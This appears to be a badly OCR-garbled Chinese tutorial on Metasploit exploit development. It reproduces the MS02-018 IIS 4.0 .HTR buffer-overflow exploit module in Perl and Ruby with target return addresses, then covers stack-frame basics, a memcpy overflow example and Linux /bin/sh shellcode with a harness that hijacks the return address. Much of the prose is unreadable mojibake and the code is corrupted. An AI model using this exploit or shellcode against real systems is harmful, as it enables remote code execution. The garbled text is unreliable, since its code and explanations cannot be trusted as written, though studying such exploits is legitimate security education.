my $sel f = shift;
my $target_host = $self->GetVar(RHOST);
my $target_port = $self->GetVar('RPORT");
my $target_idx = $self->GetVar('TARGET");
my $shellcode = $self->GetVar('EncodedPayl oad’)->Payl oad;
my $target = $self->Targets->[$target_idx];
s AL 5N exploit 1]/ i P85 AR ik it 1Y), B DAL i Rl o £ SR 35 A o o
WE NP BCERE. T Targets 2 5 4DE L, Bt A AR 00— e

my $pattern = ("X" x $target->[1]);

Ppattern .= pack("V", $target->[2]);

$pattern .= $shellcode;
FIX B gt & B-Attacker [ 1E T . $target 5 7] 7 11 %i nfo 4% 45 #4) HLIY) Targets 18,
DL Starget->[ 1] (B /& 589, &% — ) KA FH A & it 589 AN 74 “X” AT IR [k 2
AU AR 7S s 28 h) sl Targets 78 FLAUSE =A%, BR[EIME, JF DLk
X HEF I, RIG1ENE B-Attacker B &) —f) 45 W AT A my $shelcode =
$self->GetVar('EncodedPayl oad')->Payload; , #24mfi 5 (1) shellcode JE i 1| B-Attacker H1 .

my $request = "GET /" . $pattern . ".htr HTTP/1.0\r\n\r\n";

$salf->PrintLine(sprintf  ("[*] Trying ".$target->[0]." using jmp eax a 0x%.8x...",
$target->[2]));

Pyt HTTP 33K, T B NAR

my $s = Msf::Socket:: Tcp->new
(
'PegrAddr'  => $target_host,
'PeerPort'  => $target_port,
'Local Port' => $sdl f->GetVar('CPORT"),
'SSL => $self->GetVar('SSL"),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}
FIHIAE A LM, f4id4s MSF:Socket HEAT TCP &8 7 [ 7.

$s->Send($request);
$s->Close();
return;

}
1
NLIF BT ), R B-Attacker JOE4E HiR RS0, SFRFBGL )



(3) #h7Eiii W]
a) K T Yadvanced
Yadvanced A Hfs 45 AL W EAT 47 & N sl

my $advanced = {
'PreRetLength’ => [76 - 8, 'Space before we start writing return address.,
'RetLength’ =>[32, 'Length of retsto write (in bytes)],

i

AN BB R AL ) A AR D, AN BEER AL

my $evil ='A" x $self->GetLocal ('PreRetLength);
Sevil .= pack('V', $ret) x int($self->GetLocal ('RetLength’) / 4);
$evil .= $shellcode;

X HL BEE B EATR L T .

b) o 1A TT VA

WARLE .\ homeframework\lib\Msh\Exploit.om 5, &AL H 1R £ 53k, .
PayloadMinNops. PayloadMaxNops. PayloadBadChars 2%, HARAEZ W EIX Af, H
JERATLL B CHE BT R EA .

J L) At pn BEER [RTRE REAE B TR T, A0 SRARAT DS BRI 13T

2) MSF3.0 4%

3.0 5 2.x WAL T RE 5 LASTE, (H& Ruby [FIFEE 2 5 BARAN S K . FAr]v)
PLRHI[R]—AN exploit, B iis40_htr SKHEAT 2347

‘B AL T .\ Framework3\framework\modul es\expl oits\windows\iis\ms02_018_htr.rb

SUR PR EARH s T ms02_018_htr.rb

require 'msf/core

module Msf

class Exploits::Windows::lis::MS02_018 HTR < Msf::Exploit::Remote

include Exploit::Remote:: Tcp

55— AL 2x R perl i 5 1K) use base "Msf::Exploit";, K4 Ruby [ 2R B #8177 HAE -
.\ Framework3\framework\lib\msf\core , H.+'{u#F exploit.rb. payload.rb 55 .

W= e s, bR T IR R Remote, 5 DY 7 ] AL LB

def initidize(info ={})
super(update_info(info,
'‘Name' => 'Microsoft 1S 4.0 .HTR Path Overflow',
SE N %info $dE 4Ky, b Name T-#E45 52 I exploit (4 FK .



'Description’ => %qf
This exploits a buffer overflow in the ISAPI ISM.DLL used to
process HTR scripting in 1S 4.0.
/I 5
'‘Author => [ 'stinko'],
'License =>BSD_LICENSE,
"Version' =>'$Revision: 4571 $,
'References =>
[
W/l Sy
1
'Privileged' => true,
KL 2x, FATHRDPICEFE . 15, VT, iR, 2%, fERREGEE, JAfE
TH ST LA T .
'Payload' =>
{
‘Space' => 2048,
'‘BadChars => Rex::Text.charset_exclude(Rex:: Text::AlphaNumeric),
'StackAdj ustment' => -3500,
H

Azt Space AR VF T 1) payload 71 £ i K AH ; BadChars £ W] g /1 I¥T payl oad 1) 74 »
T BAE gL 22 Bk StackAdjustment &%) F 1R 4E, — A L.

'‘Platform'’
"Targets'

=>'win,
=>

[Windows NT 4.0 SP3, {'Patform' => 'win', 'Rets

0x77181a4d ] }],

[Windows NT 4.0 SP4, {'Patform' => 'win', 'Rets

0x77f7635d] }],

[Windows NT 4.0 SP5, {'Patform' => 'win', 'Rets

0x77f76385] }],

1

'DisclosureDate’ => 'Apr 10 2002,
'DefaultTarget' => 0))

FHXS 2, ABRBNHL 7 R E T MSF I & 258, Platform #5171 win

HhkH T Rets.

register_options(

[

Opt::RPORT(80)

], self.class)

End

KA, i

> [ 593,

> [ 593,

=> [ 589,

S
=l



MRS E B AR, s E BRIAK) RPORT, LA A ¥ & I FH LI FEIE L I S50
F ., info i def & X4,

def exploit
connect

THiG € X exploit, connect fAFR AT CREE#

buf ="'X"* target['Rets][0]

buf <<[ target['Rets][1] ].pack('V")

buf << payload.encoded

AR, X H BT B-Attacker [ ¥ 5E, B-Attacker 245 4bH] Rets (155 — MR CAIH0
KNI X7 TSR A UL ) A A 23], <<RoRiB i, pack(V)&zs R iR [l ik k47
ANHHER, 55 % payload 3t i E] B-Attacker 1.

req = "GET /#{ buf} .htr HTTP/L.0\r\n\r\n"
print_status("Trying target
#{ target.name} with jmp eax at 0x%.8x..." % target['Rets'][1])

sock.put(req)
handl er
disconnect

end

¥ B-Attacker il ik winsock A% 2 HAx EAL, S5 .



+. i (Thankfulness)

1 AL, hE BB [CHU]--  http://www.cnhacker.com/
—HAPEEEIER R R SR, B ERE I MRS N S, REFRE R
MBRGA, BRMANEIEML, BEIATEIES ], e T it HAR S mME—n
ANIAHLR, FEERER L.

2. [ Metasploit FIPLF SCRENITT &1 F -~ hitp://framework. metaspl oit.com/
IRE A Metasploit Framework IAE#FIBRG A, THE) T ARt MR IR, e 1
gz 4Ty s TARK B BTk

B TR KA

JKF CHU &AL R AR Hoi st iy B kiR Metasploit H-2 5455, JE LB longinus(#4
PiE B 7EFR A IL A I 5 3RA9 3 T TORE, B

TR R B BRI P Bl it s P BRI T AR 2N W

N 2% H (Credit)

1. Metasploit Framework 2.x 3.0 -- users_guide.pdf

2. Metaspl oit Framework 3.0 -- developers_guide.pdf

3. (Sockets,Shellcode,Porting& Coding) James C.Foster & Mike Price

TE[ PR ) AR A A B3 T users guide.pdf BB/ AH S A %8 7E[Exploit T %]
F[Exploit 4 /%] 2% T James C.Foster & Mike Price ) L # .

Ju. Jr%E(Todo)
HFoE B AN, BT RZ AL, KEHR ORISR, A5 B8R — 0 3K S0k
AN, W R MSF R B ITF RN EBAR N Eok, BT 3.0 KA TA AR AREE 1
5 Ruby, BrLlHEEA 2x FFUATE1E 5E M. todo AME T 22 LA~ JLA:
1) MSF BRI T
2) VYRR ) TR~
3) A Exploit 4 o3 AR 4


http://www.cnhacker.com/
http://framework.metasploit.com/

i A

Metaspl oit Framework Environment Variabl es —M SF #5545 3%

[ Generd ]

EnablePython -  This variable defines whether the external payl oads (written in
python and using InlineEgg) are enabled. These payloads are
disabled by default to reduce delay during module loading. If you
plan on developing or using payl oads which use the InlineEgg
library, makes sure this variableis set.
BRI SAVRANMEI ] python A 1) payloads # N4k, BRIIEHE
KHIH): WRARATEIT R I payloads FIF] T InlineEgg, Afi{fix 48 &
WEEAL

DebugLevel - Thisvariableis used to control the verbosity of debugging
messages provided by the components of the Framework. Setting
this value to O will prevent debugging messages from being
displayed (default). The highest practical valueisb.
PRGN 035, BRIAMER 0, RIRAC AT 1)
PR S

Logging - This variabl e determines whether all actions and successful
exploit sessions should be logged. The actions logged include all
attemptsto run either exploit() or check() functions within an
exploit module. The session | ogs contain the exact time each
command and response was sent over a successful exploit session.
The session | ogs can be viewed with the 'msflogdump’ command.
RN exploit 2Rt B, BrAy FHBIMREER . pRE. AT I 18] #0Ks
el F log 1, ARa] LLE R msflogdump oK & F i skt .

LogDir - This variable configures the directory used for session logs. It
defaults to the logs subdirectory inside of ~/.msf.
WE LK log B H K&, BRIAAE~ .msf

AlternateExit - Prevents abuggy perl interpreter from causing the Framework to

segfault on exit. Set thisvalue to '2' to avoid 'Segmentation

fault' messages on exit.

B B AT R BRI perl ARRERE ST SIS MSF B ik, — i B 2



[ Sockets]

UdpSourcelp - Force all UDPrequests to use this source | P address (spoof)
ST PTAT (1) UDP 35 SR ARHT X AN BEE R 1P bk
ForceSSL - Force al TCP connectionsto use SSL

S BT AT 6 TCP 3% 8248 ] SSL.

ConnectTimeout - Standard socket connect timeout

P 2 A N ) T )RR I I I
RecvTimeout - Timeout for Recv(-1) cdls
Recv FZ IR IR I TR] o
RecvTimeoutLoop - Timeout for the Recv(-1) loop after inital data
s G Recv 1E B8 B[R] .

Proxies - This variable can be set to enable various proxy modes for TCP
sockets. The syntax of the proxy string should be
TYPE:HOST:PORT:<extra fields>, with each proxy seperated by a
comma. The proxies will be used in the order specified.

IXANAR B SRV O TCP Al AR, A%

TYPE:HOST:PORT:<extra fields>
[ Encoders]
Encoder - Used to select a specific encoder (full path)
MG FEAF VL 2 P AR o

EncoderDontFallThrough - Do not continue of the specified Encoder module fails

MYCE LN, AR BRAR.

[ Nops]

Nop - Used to select a specific Nop module (full path)
PR, (1723 7 B A SR

NopDontFallThrough - Do not continue of the specifed Nop module fails
MWE N LI, RERIERARL.

RandomNops - Randomi ze the x86 nop sled if possible

Bt M LR I B AR R A T2 7 B Al



it B
o AP

HEFE (stack) # Bk o4 o 3k 56 H 254 (LIFO structure, Last-in, First-out) . X &K 4
Ji TR NHEAR IS A2 B S o MEASR NS 45 A AT (L A2 Bl o 0 M AR T, 509l i
A NHERG I B i I o 2 B S5 E, X MERR I S B e R BN %R K. 5 HERR
1 5 Hi s SR (7] 1 St R R PRI R IR UL, O i CPU N B 2 S HE IR, R
JIBATI R (Runtime Stack) , 3tk A Hikk o

IBAT AR A th CPU BB N A7, " SS 5 ESP AN aFfrds o EfRI BT, H
JORERE AN AT SS TS M. ESP A7 BRI A2 38 [0 HE Ak P AR5 52 7 B (1 — A 32 i Am S AH
ESP 27 77 4% [{MHIE 3 J& 1 CALL. RET. PUSH. POP Z&454 [RI4M& (¥ . Fikk (PUSHY B, Hikk
FREF I —AME (ELan IR NFERI A, esp-4) HKH (5 UL BIHEARFREN BT $5 17 10407 & 5 B AR (POP)
I, AHER T A — M, HERRFREHIN —AME (LL g th 3RS, esp+d) o

FERE Py HER AT L HE 210 i

L. AP SRAE A2 Bl RTIE IR, HERS 7 (A D FC il I ORAF DX 88, A6 7 A7 2 A
e A, AT ILRUARME .

2.CALL 32 HAT RIS, CPU JHHERR CRAF 24 A il R iz [ml ik

3. UL RE (I, Rl DAIE I HEA A% 32 2 K

4. RPN R A R AR HERR QU REATRIN, XARR T

T BRI RIS R

BRECR IS R R 2 G, (RS BN ROIXSERNE, R WL R 20 i A
75 Windows I~ BRI FH (918 5 (X BUR W H) b2, ek S EONG 2 RIRNER, SR 5T
PR E . TR E, SRR ORAF S TR 21 N — &I A bk, thin: FATAE C1F
5 N overflowQ X /AN pf %, A AN S 4, JF H R B0k IR FIE
overflow(1,2) ; iXFEFRBLSEIL T H—AN 4. A EAE P IR A (0 40 05 A& dn ] SE BT
We? & Neril g

push 2

push 1

call overflow
KA R IXRE o IX SRR H L A AR AT IR, TR0 H 58 28U 1047 PR HERR E 11
SR, AT AgE ? W E S BN R AE CALL $RA S kB ESP MIfH. R
overflow(1,2); I HERR LI 250, 09w ARRS 2 IXFE 1Y) add esp,8. Aft42&hn 8
We? WIIR PUSH SEAEISS AT T IR esp-4 I#RAE, IXFEREHTE T 0E?



= At adgahix

TRATIA N D AR A MR TR A B 2 ) AN D A8 28 b X 3
HY I 22 2 T4 75 (char ) 1 I A B TR [0 1 Eedn: JRATT C i 2 AN 4
AKHE T RPRAAL, char buffer [4] ;KRB TR T —ANEahIX, I 2t o5 h i
FHI¥ 2 sub esp,4(ali# A& add esp,OFFFFFF4).

VU der o 2 B0 22 b X kAT ik

FER IR, BB 2e 84, (RAF ebp A A7 IOMEAEHER T, SR)5 0 ebp KT
esp M{H. X MRMEAETTREG R IXHT R SE A DSl . X EAatis i ebp #4740 M
A SHOMBE P DX HEAT T o1k SEBLATE G A QA -

push ebp
mov ebp,esp

LW NENARZEAZ T, L2 LA ML, KKK R
B M. AT A A AT AR, i A AR S

Ehk---> AL ..... ]
| [EBP+12] | Z%2
Z¥ | [EBP+8 ] | %1
I [ 1 | retCGREMEE, 32 CALL 541 F —%&452)
(M 1 | fRAFEBP
ebp->---——--——m -
I [ 1 | Buffer[3]
[ 1 | Buffer[2]
T | [ 1 | Buffer[1]
esp->| [ 1 | Buffer[0]
stk --—> V[ ..... ]

BUAE esp $ Wb X 10 85— T Ak (esp $7 1 FRTI), ebp (122 01X 5 R A ebp 2 [ 5 1L
(ebp JLL n— R 2 SR A8 k41

LRI T AN SRS R R, eI B 1.3 R
AHERG: 2 R, R I HE R A HERG s 3. IR HR AT, EBP IR A HERL; 4.
{8 EBP R 55 ESP AHAE, MIZXISIFAR, EBP i /F N T M RS H A B4R 5. LI
ESP HF i — AN E {8 DA e R 1)) A e (R ATT AR o X)) 0 s 22 1)
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void function(char * str)

{

char buffer[16];

strepy(buffer, str);

}

Void main()

{

intl;

char buffer[128];

for(1=0; 1<127; | ++)

buffer[1]=A;

buffer[127]=0;

function(buffer);

printf(“Thisis atest.\n”);

}

FERR L function H, RS 128 I AT R 4 LRI 16 P K R 2 R X
FEATH stropy() R ECHT, AT XL S AT, FEU buffer THIRIY 256 A7 1 #RHE
Berstr FINAE A s, WIEHERGREE AR AL, FL A str FOR b A Al .

HEEHRRMEH, B THAEDBCRA — 5552 Rl R P 2 Be 42 ) A R X A7
it 25 AV FRVRE 5, 20 FCRN 25 BC AR TP AR, i AT 5 20 A AR L 20 TC R A7 A = 1) o [
A A B FH A A TSR (R BT Mk o ) C 8 5 Ui, T R 1 1) f(argLarg2, ... argn)
BERIPE N R 44

push argn

17 BRI BN T URE B R N 4 (FE Intel X86 1)

pushl ebp

mov esp,ebp

sub esp,m #m 2y f 1K) JR) AR 5 1 25 (] R/

7E Intel X86 AR FR &k I, HEAk I _Efi) NAERH, PRI IR ] DAL R B0 g HE AR 45 A8 ] -
argl e ik

P (i H
e A ikt
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Void f(char *src)

{ char dest[4];
memcpy(dest, src,12);

}

HERR AR B E

src [=pE LRl
|

35 [ 4 -

ebp

dest[3]

dest[2]

dest[1] (G HaHE
dest[0] M I Ao B A B I

MHER LR A AR B, 2 FDRG OV £ G () bk 25 3R [Pk I, BE ep e bl fe g [ B 2
IS, C2 ERAE R GEhe i T HERE A (Rl IR B LR, DRIG, R 92 DX i Hh ek T LA
ARERE B Sch T B SRAS, NS 54 E R 2 2 HL .
MM T
Void main()
{
char *str[2]={"/bin/sh”,0} ;
exec (“/bin/sh”,str,0);
}
ST R EE, JEILAREE, 935 DL BRI LA
“A\xeb\x2a\x5e\x89\x 76\x08\xc6\x46\x07\x00\xc 7\x46\x0c\x00\x00\x00”
“Ax00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80”
“Axb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\x cd\x80\xe8\xdI\xff\xff”
“AxfAAx2f\x62\x69\x6e\x2f\x 73\x68\x00\x89\xec\x5d\xc3”

INBIREFF IR

/ test /

char shellcode[]=

{ “\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\x c7\x46\x0c\x00\x00\x00”
“Ax00\xb8\x0b\x00\x00\x00\x89\xf 3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80”
“Ixb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\x cd\x80\xe8\xdI\xff\xff>’
“WFAXx2fAx62\x69\x66\x2f\x 73\x68\x00\x89\xec\x5d\xc3"’} ;

void f(char *src)



{
char dest[4];
memcpy(dest,src,12);

}

void main()

{

int shellentry[3];

shellentry[ 0] =(i nt)shell code;

shellentry[ 1]=(i nt)shell code;

shellentry[ 2]=(i nt)shell code;

f(shellentry);

}

H1 DA BRI LA g2 i X s L e OB DXh memepy JEANRR SRS, FITLL dest i 1
I, i shellcode ¥ lE7 o6 T AP (R E AL, 57 FF AT ret #8218, CPU 454
TeEl %9174 EIP $5 11 shellcode, MM #h 47 shellcode.

AN~ Bl A A O R R

I8 R B AN PR G I, WERBGHAUE 54T 0, S 2 B8 174 ER IR &5 e A
B, TRIBAACTH AT o BRI T7 R AR MOE > (A2, PR HL 5 A ] — 4
IEGFE P BB, 4 shellcode % 4 AN £ 0x00 (15564 AR o

B BTSRRI EA

MG XKD, FTREAE NOP 43 8% shellcode #7374 o & Rl ik ret, 5327 phIX ik
A5 [l 4t PR B 25 AN L AR 49 shellcodle, SXREBEE ABHE bt B HI L, Bt AR AN RERY
IERAAT -

—ANTT R I AR B 2N HER R Bl I, P AR A I S B T R M A T R T
L AT LB B AU (NOP Hi+Shellcode) JHUE]— M FRBEARF T, 1 74 L R ZZ i X
thI BRI . Lo, W RUE shellcode AEFMEE AR R, JFHEIAEE AR FAR AN F
TR AL, AT LGS A G b DXk ] O R e AT Beds . FURDIZRE DT i, 3B m LU
RSN G R



